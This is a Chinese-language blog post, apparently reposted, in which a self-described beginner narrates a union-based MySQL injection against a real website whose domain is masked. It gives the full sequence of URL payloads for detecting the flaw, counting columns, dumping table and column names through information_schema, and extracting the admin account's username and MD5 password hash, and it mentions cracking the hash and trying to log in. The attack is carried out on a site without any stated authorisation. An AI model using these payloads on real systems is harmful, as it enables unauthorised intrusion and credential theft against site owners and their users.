记一次操蛋的mysql注入之旅

来源:互联网 发布:深入浅出数据分析azw3 编辑:程序博客网 时间:2024/05/02 06:46

最近开始学习web安全的知识,刚好学完mysql注入这块,赶紧找个网站练练手,整个过程很顺利,但是结果很操蛋。我还是个小菜鸟,各位大神看了轻喷......


站点:http://www.xxx.org/xxx.php?id=6(马赛克遮体)

1.注入点检测

http://www.xxx.org/xxx.php?id=6 and 1=1 结果正常

http://www.xxx.org/xxx.php?id=6 and 1=2 结果为空

勤奋的孩子运气不会差,一出手就发现了注入点,下面就开始一步步开搞。


2.猜查询字段

http://www.xxx.org/xxx.php?id=6 order by 10 页面显示错误,说明查询的字段数小于10,缩小范围再试

http://www.xxx.org/xxx.php?id=6 order by 5   页面显示错误,继续缩小

http://www.xxx.org/xxx.php?id=6 order by 4   页面显示正常,说明查询的字段数就是4,接下来就可以进一步收集信息了


3.信息收集

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,database(),user(),version()   从结果中得到三个信息,第一数据库名称zadmin_aaa(化名),第二用户名,第三版本号5.5.49,看到版本号第一反应就是可以利用information_schema来搞事情了。


4.爆表名

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=0x7A61646D696E5F616161

这里有点要注意,就是库名要转成16进制来查询,zadmin_aaa转完为0x7A61646D696E5F616161。

从执行结果可以看到有下面几个表:xxx_User,xxx_category,xxx_content,很明显xxx_User就是我们要爆的表


5.爆字段名

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x7878785F55736572

同样的表名也要转成16进制来查询。

执行结果爆出三个字段,id,password,username(真是个简单的表),有了字段有了表名,当然就可以获取登录名和密码了


6.爆username和password值

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(id,0x27,password,0x27,username) from xxx_User

执行结果:1|admin|55f069b9e8bd8b58c40a25feb5e505ca

接下来就是破解md5,没什么好介绍,网上一堆工具可用


账号密码都在收了,接下来当然后登录后台,然后打开后台的那一刻我懵逼了,后台页面上只有一个错误提示,根本就没有登录框。。。。我仿佛看到了站长猥琐的笑容。这次本意是练习注入,并不想搞太多事情,所以也就就此打住,文章水平不高,看到的大佬们,请轻喷。。。。


0 0